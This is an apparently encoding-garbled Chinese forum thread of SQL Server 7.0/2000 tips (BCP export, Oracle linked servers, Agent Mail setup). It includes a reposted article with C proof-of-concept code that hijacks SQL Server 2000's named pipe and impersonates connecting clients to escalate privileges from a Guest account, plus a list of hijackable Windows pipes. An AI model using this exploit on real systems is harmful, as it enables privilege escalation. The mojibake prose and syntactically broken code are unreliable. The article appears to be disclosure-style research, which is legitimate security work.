6 ÈçºÎʹÓÃSQL Server 7.0²éѯѡȡ£¨Query Analyzer£©²éѯOracleÊý¾Ý£¿
7 SQL Server 7.0ÊÇ·ñ¿ÉÒÔʹÓÃRECURSIVE TRIGGER£¿
8 Ö´ÐÐxp_logininfoʱ³öÏÖ

Server: Msg 8198, Level 16, State 10, Procedure xp_logininfo, Line 58 Could not obtain information about Windows NT group/user ''

ÈçºÎ½â¾ö£¿

Òª½«Ò»¸öÊý¾Ý¿âµÄËùÓбí¸ñʹÓÃÅúͨÐųÌÐòÈ¡³ö£¨BCP OUT£©£¬ÓкνϿìµÄ·½·¨£¿

¼ÙÉèÄúµÄSQLServer ¼ÆËã»úÃû³ÆΪtechnology1£¬saÃÜÂë¿ÕµÄ£¬Èç¹ûÒª½«pubsʹÓÃÅúͨÐųÌÐòÈ¡³ö£¬¿ÉÒÔ²ÎÕÕÏÂÁв½Ö裺

1)ÔÚQuery AnalyzerÖÐÖ´ÐÐÏÂÁÐÖ¸Á
select 'bcp pubs..'+name+' out'+' d:\test\'+name+'.txt -c -Stechnology1 -Usa -P' from sysobjects where type = 'U'

2)½á¹ûÈçÏÂ


----------------------------------------------------------------------------
bcp pubs..authors out d:\test\authors.txt -c -Stechnology1 -Usa -P
bcp pubs..publishers out d:\test\publishers.txt -c -Stechnology1 -Usa -P
bcp pubs..titles out d:\test\titles.txt -c -Stechnology1 -Usa -P
bcp pubs..titleauthor out d:\test\titleauthor.txt -c -Stechnology1 -Usa -P
bcp pubs..stores out d:\test\stores.txt -c -Stechnology1 -Usa -P
bcp pubs..sales out d:\test\sales.txt -c -Stechnology1 -Usa -P
bcp pubs..roysched out d:\test\roysched.txt -c -Stechnology1 -Usa -P
bcp pubs..discounts out d:\test\discounts.txt -c -Stechnology1 -Usa -P
bcp pubs..jobs out d:\test\jobs.txt -c -Stechnology1 -Usa -P
bcp pubs..pub_info out d:\test\pub_info.txt -c -Stechnology1 -Usa -P
bcp pubs..employee out d:\test\employee.txt -c -Stechnology1 -Usa -P
(11 row(s) affected)
3)½«½á¹û´¢´æ³ÉÎÄ×ÖÎļþ£¬ÎļþÃûΪbat£¬½«µÚÒ»ÐеÄ------Óë×îºóÒ»ÐÐ(11 row(s) affected)È¥µô¡£

4)ÔÚDOSÏ´´½¨d:\testµÄ×ÓĿ¼£¬²¢Ö´ÐÐÉÏÊöµÄbatÎļþ£¬¸ÃbatÎļþ½«PubsÊý¾Ý¿âÖеÄÿ¸ö±í¸ñ´æ·Åµ½Ã¿¸ötxtÎļþÖÐ


SQL Server 7.0ÏÞÖƵÄͬʱʹÓõıí¸ñºÍÊÓͼÊýĿΪ¶àÉÙ£¿

256£¬SQL Server 6.5Ϊ16¡£

SQL Server 7.0ÓëSQL Server6.5µÄDMO°æ±¾²»Í¬£¬ÊÇ·ñ¿ÉÒÔÔÚSQL Server 7.0Ö´ÐÐSQL Server 6.5µÄ´æ´¢¹ý³Ì£¿

¿ÉÒÔ£¬Ç뽫SQL Server 6.5Éý¼¶µ½SP5a£¬µ«ÊÇÎÞ·¨Ê¹ÓÃSQL Server 7.0µÄMMC¹ÜÀíSQL Server 6.5¡£

ΪºÎʹÓÃÅúͨÐųÌÐòµ¼È루BCP IN£©SQL Server 7.0 Datetime×Ö¶Îºó£¬ millisecond£¨Ç§·ÖÖ®Ò»Ã룩»áÓëµ¼ÈëÇ°µÄÖµ²»Í¬£¿

SQL Server 7.0ʱ¼äµÄ׼ȷֵΪ°Ù·ÖÖ®ÈýÃ룬ËùÒÔmillisecond£¨Ç§·ÖÖ®Ò»Ã룩µÄֵΪ0¡¢3»ò7ÏêϸÇë²Î¿¼SQL Server 7.0 Áª»úÊé¼®datetime and smalldatetime (T-SQL)¡£

ΪʲôʹÓÃSQL Server 7.0µÄ±ê×¼²îº¯ÊýSTDEVʱ³öÏÖ"A domain error occurred"ÐÅÏ¢?

µ±Êý¾ÝΪ¸¡µãÊýʱ£¬»áÒòΪ¸¡µãÊýÔËËã²»¾«È·¶øÔì³É´ËÎÊÌâ¡£µ±VAR(x) ΪÁãʱ£¬Èç¹û¼ÆËã»úÊÇÓÃÒ»¸öºÜСµÄ¸ºÊý±íʾ£¬ÄÇô¾ÍÎÞ·¨¿ªÆ½·½¸ùÔËËã±ê×¼²î£¬¾Í»á³öÏÖÕâÑùµÄÎÊÌâ¡£µ±ËùÓеÄÊýÖµ¶¼ÏàµÈʱ£¬¾ÍºÜÓпÉÄܳöÏÖÕâÖÖ´íÎóÐÅÏ¢¡£¶ÔÓÚÕâÖÖÇéÐΣ¬½¨ÒéʹÓÃÏÂÁз½·¨£º select sqrt(abs(var())) from

ÈçºÎʹÓÃSQL Server 7.0²éѯѡȡ£¨Query Analyzer£©²éѯOracleÊý¾Ý£¿

Çë²Î¿¼ÏÂÁÐʾÀý£º

ÏÈʹÓÃOracle¿Í»§¶ËÈí¼þÉ趨һ¸öÍøÂç·þÎñÃû³Æ£¬Èç:"OracleServer'©zÇë²Î¿¼OracleÊÖ²á©{
ÔÚSQL Server 7.0ÖУ¬Ê¹ÓÃÁ´½ÓµÄ·þÎñÆ÷Á¬½Óµ½Oracle. Èç: sp_addlinkedserver 'TESTLINK', 'Oracle', 'MSDAORA', 'OracleServer', ps. 'TESTLINK'ÊÇÓÉÄú×Ô¶¨ÒåµÄ£¬'Oracle', 'MSDAORA'Êǹ̶¨µÄ£¬'OracleServer'ÊÇÓɲ½Öè1È·¶¨µÄ¡£
ÔÚSQL Server 7.0ÖУ¬Ê¹ÓÃaddlinkedsrvloginµÇ¼µ½Oracle. Èç: sp_addlinkedsrvlogin 'TESTLINK', 'false', NULL,'OracleUsr', 'OraclePwd' ps. 'TESTLINK'ÊDz½Öè2È·¶¨µÄ,'OracleUsr'ÊÇOracleÓû§Ãû,'OraclePwd'ÊÇÓû§ÃÜÂë¡£
Ö´ÐÐT-SQLÓï¾ä¡£Èç: select * from <linkservername>.<dbname>.<dbo>.<dbtable>. ps.linkservernameÊDz½Öè2È·¶¨µÄ¡£
SQL Server 7.0ÊÇ·ñ¿ÉÒÔʹÓÃRECURSIVE TRIGGER£¿

¿ÉÒÔ¡£

Ö´ÐÐxp_logininfoʱ³öÏÖ

Server: Msg 8198, Level 16, State 10, Procedure xp_logininfo, Line 58 Could not obtain information about Windows NT group/user ''

ÈçºÎ½â¾ö£¿

ÕâÊÇÒòΪWindows NTµÄ±¾µØ×é»òÈ«¾Ö×éÓëÓò»ò¼ÆËã»úµÄÃû³ÆÏàͬ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:43
SQL SERVER 2000ͨѶ¹ÜµÀºó¸´ÓýٳÖ
·¢Ò»Ìù£¬ÎÒÒ²ÊǸոսӴ¥sql server¡£²»µ½Ò»¸öÐÇÆÚ£¬×î½üÓöµ½µÄ
¾ÍÊÇÁ¬½ÓÎÊÌ⣬TCP/IPÁ¬½ÓºÃÊdzö´í£¬ÄãÃÇË­Ôø¾­ÔÚÕâ·½Ãæ»áÓöµ½
ÄÄЩÎÊÌâÄܲ»ÄܸøÎÒ½²½²¡£ÎÒÒ²·¢zzһƪÎÊÌ⣬²»´í¡£»¹ÓÐÇë´ó¼Ò
ÍƼö¼¸¸öºÃµÄÍøÕ¾ºÍµç×ÓÊé¼®¡£Ð»Ð»¡£
SQL SERVER 2000ͨѶ¹ÜµÀºó¸´ÓýٳÖ
Ô­´´£ºflashsky£¨ÉÁ¿Õ£©

תժÇë×¢Ã÷×÷ÕߺͰ²È«½¹µã
×÷ÕߣºFLASHSKY
SITE£ºWWW.XFOCUS.NET
Óʼþ£ºflashsky@xfocus.org

SQL SERVER 2000ͨѶÖУ¬ÔÊÐíʹÓÃÓÐÃû¹ÜµÀÀ´½øÐÐͨѶ£¬Ò»°ãÇé¿öÏÂÊÇÈç´ËÃüÃûµÄ£º
ĬÈÏʵÀý£º\\.\pipe\sql\query
ÃüÃûʵÀý£º\\.\pipe\MSSQL$instancename\sql\query
Ò²¿ÉÒÔͨ¹ý1434 UDP½øÐвéѯ»ñµÃÕâ¸ö¹ÜµÀÃû³Æ

µ«ÊÇÓÉÓÚSQL SERVER 2000¶ÔÓÚÕâ¸ö¹ÜµÀµÄACLÉèÖÃΪNULL£¬µ¼ÖÂÈκÎÓû§µÄȨÏÞ¶¼¿ÉÒÔ¶ÔÕâ¸ö¹ÜµÀ½øÐнٳ֣¬ÒÔÇ°µÄ½Ù³Ö¶¼ÊÇÀûÓÃÏÈÍ£µô·þÎñ£¬ÔÙ½¨Á¢Õâ¸öÃû×ֹܵÀ£¬È»ºóÔÙÆô¶¯·þÎñÀ´¸´ÓÃ×Ô¼ºÒѾ­½¨Á¢ÁËÃû×ֵĹܵÀ£¬µ«Êµ¼ÊÉÏSQL SERVER 2000»áÅжÏÊÇ·ñÒÑÓÐͬÃû¹ÜµÀ£¬È»ºó»áÈ¡±ðµÄÃû×Ö£¬¶øÇҵͼ¶È¨ÏÞµÄÓû§Ò²Æô¶¯ºÍÍ£Ö¹²»ÁË·þÎñ£¨³ý·ÇÊÇÀûÓÃһЩ©¶´£©£¬µ«ÊÇʵ¼ÊÉ϶ԹܵÀµÄ²âÊÔÈ´·¢ÏÖ£ºÈç¹ûACLÉèÖóÉNULLµÄ»°£¬¼´Ê¹ÊǺóÃüÃûµÄ¹ÜµÀ£¬Ò²¿ÉÒÔ½Ù³ÖÏÈÃüÁîµÄ¹ÜµÀ£¬Ö»ÐèÒª¼òµ¥¸´ÓùܵÀ£¬È»ºó×Ô¼º½¨Á¢¼¸¸ö¹ÜµÀµÄÁ¬½Ó²»ÊÍ·Å£¨¾ßÌ彨Á¢¼¸¸ö¹À¼ÆºÍÕæÕýµÄ¹ÜµÀ
½¨Á¢Ê±µÄʵÀý¸öÊýÓйأ¬ÈçÔÚÎҵIJâÊÔÏ£¬\\.\pipe\sql\queryÖ»ÐèÒª½¨Á¢1¸ö½Ó¿ÉÒÔ½Ù³ÖÁË£¬¶ø\\.\pipe\lsassÔòÐèÒª4-5¸öÖ®ºó²ÅÄܽٳ֡£²»¹ý\\.\pipe\lsassµÄACLÖ»ÄÜÊǹÜÀíÔ±²ÅÄܽøÐнٳ֣©
Èç¹û¹¥»÷Õ߸´ÓÃÁËͬÃû¹ÜµÀÒԺ󣬽¨Á¢Æ𼸸ö²»ÊͷŵĹܵÀ£¨ÏûºÄµôÁËÕý³£¹ÜµÀµÄʵÀý£©£¬È»ºóÔÙÓпͻ§·¢ÆðµÄ¹ÜµÀÁ¬½Ó¾Í½øÈëÁ˹¥»÷Õß³ÌÐòµÄ¹ÜµÀ¼àÌýÁ÷³Ì£¬Ê£ÏµľÍÊÇ´ó¼Ò¶¼ÖªµÀµÄÀûÓÃÄ£Ä⺯Êý»ñµÃ·¢ÆðÕßȨÏÞµÄÀÏÉú³£Ì¸ÁË£º
ÏÂÃæ¾ÍÊÇÒ»¸ö¼òµ¥µÄÀý×Ó£¬ÊµÏÖ¶ÔSQL SERVER 2000¹ÜµÀͨѶµÄ½Ù³Ö
»·¾³£ºSQL SERVER 2000+SP2
WIN2000 SERVERÖÐÎÄ°æ+SP3
²âÊÔÁ÷³Ì£º
1¡£ÏȽ¨Á¢SQL ·þÎñÆ÷ÔÊÐí¹ÜµÀͨѶ£¬ºÍ¼¯³ÉWINDOWS ÑéÖ¤£¬Ìí¼ÓÒ»¸ö¾ß±¸¸ßȨÏÞµÄÔÊÐíSQL SERVERµÇ½µÄWINDOWS±¾»úÕÊ»§£¬Æô¶¯SQL SERVER·þÎñ
2¡£CÅÌϽ¨Á¢Ò»¸öTEST.TXTÎļþ£¬ÉèÖÃACLΪGUESTÈ«²¿¾Ü¾ø£¬ÆäËûÈ˶¼Ðí¿É
3¡£ÔÚÁíÍâһ̨»úÆ÷BÉÏ£¬ÒÔÌí¼ÓµÄ¿ÉÒԵǽSQL SERVERµÄ·þÎñÆ÷ÕÊ»§µÇ½£¬È»ºóÉèÖÿͻ§¶ËÍøÂç¿âֻΪ¹ÜµÀ£¨Èç¹ûÓжà¸ö£¬¿ÉÄܾͻáÊÇËæ»úÑ¡Ò»¸öÁ¬½Ó£¬¶ø²»¿Ï¶¨ÊǹܵÀ½øÐÐͨѶÁË£©
4¡£È»ºóÓÃSQL SERVERÆóÒµ¹ÜÀíÆ÷½¨Á¢Ò»¸öSQL SERVERµÄÁ¬½Ó£¬Ê¹Óü¯³ÉWINDOWSÑéÖ¤
5¡£SQL SERVERÕâ±ßµÄ»úÆ÷½øÈëGUESTÕÊ»§ÔËÐÐÏÂÃæC´úÂëµÄ³ÌÐò£¬»áÏÔʾÏÈÎÞ·¨´ò¿ªTEST.TXTÎļþ£¬È»ºó½øÐнٳ֣¬µÈ´ý¿Í»§¶Ë¹ÜµÀÁ¬½Ó
6¡£ÔÚ»úÆ÷BÉÏ£¬Á¬½ÓSQL SERVER£¬È»ºóÖ÷»úAµÄ³ÌÐò¾Í»á½Ø»ñÕâ¸ö¹ÜµÀ°çÑݸßȨÏ޵ǽÓû§£¬È»ºó¿ÉÒÔ´ò¿ªÏÈûȨÏÞ´ò¿ªµÄÎļþ¡£

µ±È»Õâ¸ö¹¥»÷±¾Éíʵ¼ÊµÄÒâÒå¿ÉÄܲ»´ó£¬ÒòΪ¹À¼ÆÏÖÔÚSQL SERVERÓùܵÀ½¨Á¢Í¨Ñ¶µÄ±È½ÏÉÙ£¬¶øÇÒÔÚ¶¼ÔÊÐíµÄÇé¿öÏ£¬Ò»°ã»áÖ÷¶¯Ñ¡ÔñTCP·½Ê½½øÐÐÁ¬½Ó£¬µ«Í¬Ê±ËµÃ÷ÁË£ºÒ»¸öȱ·¦ºÜºÃACL±£»¤µÄ¹ÜµÀ£¬Ò²¿ÉÒÔÓú󷢸´ÓÃÀ´½øÐнٳ֣¬Õâ¾Í¼õÉÙÁ˺ܶàÐèÒªÏÈÍ£µô·þÎñ»òÔ¤ÏÈÔ¤²âµÄÄÑÌ⣬ÔÚ±àд·þÎñÆ÷¶Ë¹ÜµÀÓ¦ÓõÄʱºòÒ²±ØÐëСÐÄ¡£

SQL SERVER 2000½Ù³Ö´úÂë
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//ÏȵIJâÊÔ£¬ÔÚGUESTȨÏÞÏÂÎÞ·¨´ò¿ª´ËÎļþ
fp = fopen("C:\\test.txt","w";
if(fp==NULL)
printf("now you don't open file;\n";
//½¨Á¢ÆðÒ»¸öͬÃû¹ÜµÀ£¬¸´ÓÃÒÑ´æÔÚµÄSQL SERVERµÄ
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);

if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//ËðºÄµôÆäËûÕý³£ÊµÀý
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n";
return;
}
//¿ÉÒÔµ÷Õû¸öÊý£¬SQL SERVERÖ»ÐèÒªµ÷ÕûÒ»¸ö¾Í¿ÉÒÔÁË
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n";
return;
}
//WriteFile(pipeb,"test1",5,&num,NULL);
//WriteFile(pipeb,"test2",5,&num,NULL);
}
//È»ºóµÈ´ýÁ¬½Ó
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//Ä£ÄâÁ¬½Ó½øÀ´µÄÓû§
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//»ñµÃÓû§ÐÅÏ¢
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//È»ºóÔÙ²âÊÔÊÇ·ñÄÜ´ò¿ªÕâ¸öÎļþ£¬Ö¤Ã÷ȷʵÌáÉýÁËȨÏÞ
fp = fopen("C:\\test.txt","w";
if(fp!=NULL)
printf("now you can open file\n";
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb);
return;
}

²¹³ä£º
ËùÓйܵÀ¶¼ÓÐÕâ¸ö©¶´£¬¾ÍÊÇ¿´ACLÄÜ·ñÔÊÐíÄ㸴Óã¬Ö»ÒªÄܸ´ÓþͿÉÒÔ
Èç//./pipe/lsass ÎÒ¶¼¿ÉÒÔ½Ù³Ö£¬µ«ÊÇËûµÄACL¶¨Òå³ÉÖ»ÄÜadministrator½øÐнٳÖ
Ä¿Ç°²âÊÔÁËÒ»ÏÂĬÈϵÄһЩ¹ÜµÀ»ù±¾ACLÉèÖúú㬲»ÔÊÐíµÍ¼¶È¨ÏÞÓû§¸´ÖÆ£¬µ«SQLµÄ¹ÜµÀÏÔʾACLÉèÖõĺܲî
¿ÉÄܸü¶à·þÎñ»òÕßÆäËûµÄµÚÈý·½µÄ·þÎñÖдæÔÚÕâÑùûÓкܺÃACL±£»¤µÄ¹ÜµÀ£¬ÄÇô¾ÍÒâζןó¸´ÓÃÒ²¿ÉÒԽٳֳɹ¦


ÏÂÃæÊÇÎÒ¿ªÆôÁËËùÓÐĬÈϵÄWINµÄ·þÎñ£¬È»ºó»ñÈ¡µÄϵͳ¹ÜµÀ²âÊԵĽá¹û£¨Ã»ÓпªÆôÖն˷þÎñ£¬ÎÒ»úÆ÷ûװ£¬×°ÁËÖն˷þÎñµÄ¿ÉÒÔ²âһϣ©£¬ÁíÍâÒ²²»ÄÜ˵ûÓÐÒâÒ壬ÎÒÇ°Ãæ¿´¼ûһƪÎÄÕ»¹×¨ÃÅÍƼöÓü¯³ÉÑéÖ¤¼Ó¹ÜµÀͨѶ»ñµÃ¸ü°²È«µÄSQL SERVERÄØ£¬ºÙºÙ
Pipe name (Number of instances, Maximum instances)

InitShutdown (2, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ
net\NtControlPipe5 (1, 1)
llsrpc (2, -1) <---------------¿ÉÒÔÔÚADMINϽٳÖ
000001e8.000 (2, -1) <-----------¿ÉÒÔÔÚADMINϽٳÖ
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)<--------------¿ÉÒÔÔÚADMINϽٳÖ
epmapper (2, -1)<----------------¿ÉÒÔÔÚADMINϽٳÖ
WMIEP_454 (2, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
WMIEP_444 (2, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
NetDDE (1, 1) ·µ»ØËùÓйܵÀʵÀý¶¼Ã¦µÄ´íÎóÐÅÏ¢£¬²»ÖªµÀÊÇ·ñACLÉèÖÃÐí¿É¸´ÓÃ
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ
WMIEP_640 (2, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ
Winsock2\CatalogChangeListener-640-0 (1, 1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ
net\NtControlPipe25 (1, 1)
WMIEP_6f0 (2, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ
sql\console (1, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
SQL\QUERY (1, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1) ·µ»ØËùÓйܵÀʵÀý¶¼Ã¦µÄ´íÎóÐÅÏ¢£¬²»ÖªµÀÊÇ·ñACLÉèÖÃÐí¿É¸´ÓÃ
winreg (2, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ
Winsock2\CatalogChangeListener-6f0-0 (1, 1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ

ÆäÖÐÔÚGUESTȨÏÞÏ¿ɽٳֵÄÓÐ
WMIEP_454 (2, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
WMIEP_444 (2, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
nddeapi (2, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
sql\console (1, -1)<---------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
SQL\QUERY (1, -1)<-----------------¿ÉÒÔÔÚADMINϽٳÖ<------GUESTÓû§¿É½Ù³Ö
SQL µÄ¾Í²»ËµÁË£¬²»¹ýsql\consoleÕâ¸ö¹ÜµÀÓÃÓÚʲô·½Ã滹²»Çå³þ£¬Èç¹ûÓÐĬÈϵÄһЩÓÃ;µÄ»°£¬¹À¼ÆÒ²ÊÇÒ»¸öµã¡£
nddeapiµÄ»ù±¾´æÔÚnddeapiµÄÓ¦ÓõĻ°¾Í¿ÉÒÔ·¢Éú
WMIµÄ¾ÍÄѵ㣬¿´ÕâÑù×ÓÊÇËæ×Å·¢Õ¹Ã¿¸öÁ¬½Ó¶¼»áн¨ÆðÀ´µÄ£¬ÄÇÑùºó¸´ÓÃ×÷ÓþͲ»´ó£¬Ö»ÄܲÉÓÃÔ¤²âÃû×ֵķ½·¨ÌáÇ°¸´ÓÃÀ´¹¥»÷£¬µ«ÊÇÆæ¹ÖµÄÊÇÆäȨÏÞÊDz»Í¬µÄ£¬ÓÐЩWMIµÄ²»ÄÜGUEST¸´Óã¬ÓÐЩÓÖ¿ÉÒÔ£¬ÓÐʱ¼äÁ˾ßÌå²âÊÔÒ»ÏÂWMI¿Í»§Óë·þÎñÆ÷Ö®¼äÁ¬½Ó²úÉúµÄ¹ÜµÀͨѶµÄÇé¿ö£¬»òÐíÒ²ÊÇ×ßÒ»¸öĬÈϵĹܵÀÃû£¬Ëµ²»¶¨¾Í¿ÉÒÔ¹¥»÷ÁËÄØ£¬£º£©

·¢²¼Ê±¼ä£º2002Äê11ÔÂ09ÈÕ13ʱ
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:46
¹ØÓÚΪSQL ÅäÖÃÒ»¸öÓʼþÅäÖÃÎļþ
ÎÊ£º¹ØÓÚΪSQL Server 2000 ºÍ SQL Server 7.0 ÅäÖÃÒ»¸öÓʼþÅäÖÃÎļþ£¬ÎÒÐèÒªÁ˽âЩʲô£¿

´ð£ºÄú¿ÉÒÔÅäÖÃÒ»¸öSQL ServerÓʼþÅäÖÃÎļþÒÔ±ãÓÚͨ¹ýÔËÐÐTransact-SQL ´úÂëÀ´·¢ËͺͽÓÊÜÓʼþ£¨ÀýÈ磺ʹÓÃxp sendmail À©Õ¹´æ´¢¹ý³ÌÀ´·¢ËÍe-mail£©¡£Äú»¹¿ÉÒÔΪSQL Server AgentÅäÖÃÒ»¸öÓʼþÅäÖÃÎļþ£¬ÒÔ±ãÓÚÔÚÌض¨µÄ×÷ҵʧ°Ü»ò²úÉúÒ»¸ö±¨¾¯µÄʱºò£¬»á×Ô¶¯¸ø²Ù×÷Ô±·¢ËÍÒ»·âe-mial¡£ÓÃÓʼþÅäÖÃÎļþ¿ÉÒÔÈ·¶¨Óʼþ·þÎñÆ÷ÒÔ¼°·þÎñÆ÷ÊÇPOP3·þÎñÆ÷»¹ÊÇSMTP·þÎñÆ÷¡¢SQL ServerµÇ¼ÃûºÍÃÜÂëÕâÑùµÄÁ¬½Óϸ½Ú¡£ÎªSQL ServerºÍSQL Server Agent·þÎñÅäÖÃÓʼþÅäÖÃÎļþµÄ¹ý³ÌºÍΪÄúµÄÓÊÏäÅäÖÃÓʼþÅäÖÃÎļþÒÔʹÄú¿ÉÒÔ´ÓÓʼþ¿Í»§¶ËÊÕ·¢ÓʼþµÄ¹ý³Ì»ù±¾ÉÏÏàͬ¡£µ«ÊÇÄúÐèÒª¿¼ÂÇÒÔϵļ¸¸öÎÊÌ⣬ÕâЩÎÊÌâÊǵ¥Ö¸ÅäÖÃSQL Server¶øÑÔ£¬²»ÊÇÖ¸ÅäÖÃSQL Server ºÍ SQL Server Agent¡£

ΪÁËʹÓÃÓʼþ·þÎñ£¬SQL Server ÕÊ»§±ØÐëÔÚÒ»¸öÕýÈ·µÄMicrosoft Windows NT&reg;ÕÊ»§ÏÂÆô¶¯£¬²¢ÇÒ²»ÄÜÊÇÒ»¸ö±¾µØϵͳÕÊ»§¡£ÒòΪSQL ServerºÍSQL Server Agent ·þÎñ±ØÐëÄܹ»·ÃÎÊÓʼþ·þÎñÆ÷£¬¸ÃÕÊ»§ÐèÒª¶ÔÍøÂç½øÐзÃÎÊ¡£µ«±¾µØϵͳÕÊ»§²»ÄܶÔÍøÂç½øÐзÃÎÊ¡£

ʹÓÃÔËÐÐSQL Server ·þÎñËùÐèÒªµÄWindows NT ÓòºÍÕÊ»§µÇ¼µ½ÔËÐÐSQL ServerµÄ¼ÆËã»úÉÏ£¬È»ºó¿ÉÒÔ´´½¨ÓʼþÅäÖÃÎļþ¡£×¢Ò⣺ÓʼþÅäÖÃÎļþºÍ¡°ÎÒµÄÎĵµ¡±Îļþ¼ÐÒ»ÑùÓëÌض¨µÄµÇ¼ÕÊ»§Óйء£ÀýÈ磺Èç¹ûÄúÔÚÄú×Ô¼ºµÄÕÊ»§£¨±ÈÈ磺DOMAIN\SmithJ £©Ï´´½¨ÁËÒ»¸öÓʼþÅäÖÃÎļþ£¬µ«ÊÇSQL ServerÔËÐÐÔÚËü×Ô¼ºµÄÕÊ»§£¨DOMAIN\SQLServer£©Ï£¬ÄÇôSQL Server²»Äܹ»¼ì²âµ½»òÕß²»Äܹ»Ê¹ÓÃÕâ¸öÓʼþÅäÖÃÎļþ¡£

ÔÚ¿ªÊ¼´´½¨ÄúµÄÓʼþÅäÖÃÎļþ֮ǰ£¬ÇëÈ·ÐÅSQL Server ¿ÉÒÔÁ¬½Óµ½Óʼþ·þÎñÆ÷¡£¼òµ¥µØÓá°Ping¡±ÃüÁî²âÊÔһϾͿÉÒÔÁË¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:47
SQL Server 70ÖÐÅäÖÃSQL Server Agent Mail Ö¸ÄÏ


ÅäÖû·¾³£º
MS Win NT40ÖÐÎıê×¼°æ£¨SP6£©
SQL Server 70 (7.00.725£»SP1+HotFix)
Outlook Express 5 (5.00.2314.1300)


°²×°²½Ö裺
1¡¢ °²×°Windows Messaging ×é¼þ£»



2¡¢ ÖØа²×°SP6;
3¡¢ ΪSQL Server Agent½¨Á¢·þÎñÕʺÅsqlagent (AdminȨÏÞ)£»
4¡¢ Í˳öµ±Ç°µÇ¼£¬ÒÔsqlagentÕʺŵǼ£»
5¡¢ ½øÈë¿ØÖÆÃæ°å->µç×ÓÓʼþ£¬ÉèÖÃInternet Mail

ÊäÈëÕýÈ·µç×ÓÓʼþ·þÎñÆ÷µØÖ·£¬ÒªÇó¸Ã·þÎñÆ÷Ö§³ÖSMTPЭÒ飬ÆäËû¿ÉËæÒâÌîд£»


6¡¢ ÉèÖÃOutlook Express£»
´ò¿ªOutlook ExpressÈôÊ״δò¿ª£¬ÔòÌáʾÉèÖÃÁ¬½Ó£¬Ö®ºóÌáʾ½¨Á¢ÓʼþÕʺţ¬Ñ¡ÔñÒýÈ룬°´ÌáʾÍê³ÉÉèÖã¬ÈçÒÑÅäÖÃÕʺÅÔòÓÉÎļþ->µ¼Èë->ÓʼþÕʺÅÉèÖã¬Æô¶¯¸ÃÏòµ¼£¬²¢È·ÈÏе¼ÈëµÄÕʺÅÉèÖÃΪȱʡÕʺţ»


7¡¢ ÉèÖÃSQL Server Agent ·þÎñÕʺţ»

8¡¢ ÉèÖÃSQL Server Agent Mail£»

9¡¢ Ìí¼Ó²Ù×÷Ô±£»


10¡¢ ÔÚJOBÖÐÉèÖñ¨¾¯Í¨Öª£»


ÖÁ´Ë£¬ÒÑÍê³ÉSQL Agent MailµÄÉèÖ㬵±·¢ÉúÂú×㱨¾¯Í¨ÖªÌõ¼þµÄʼþ£¬ÏµÍ³½«Ïà¹ØÐÅÏ¢·¢Ë͵½²Ù×÷Ô±µÄÐÅÏäÖС£

ÐÞ¸ÄÓʼþÕʺÅÉèÖãº
µ±ÐèÒªÐ޸ķ¢ËÍÓʼþ·þÎñÆ÷¼°ÕʺÅÉèÖÃʱ£¬ÒªÔÚOutlook ExpressÖÐÐÞ¸ÄÏàÓ¦ÅäÖÃÐÅÏ¢¡£ÔÚ¿ØÖÆÃæ°å-µç×ÓÓʼþ=
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:57
Êý¾Ý¿âÉè¼Æ¹æ·¶ (תÌù)
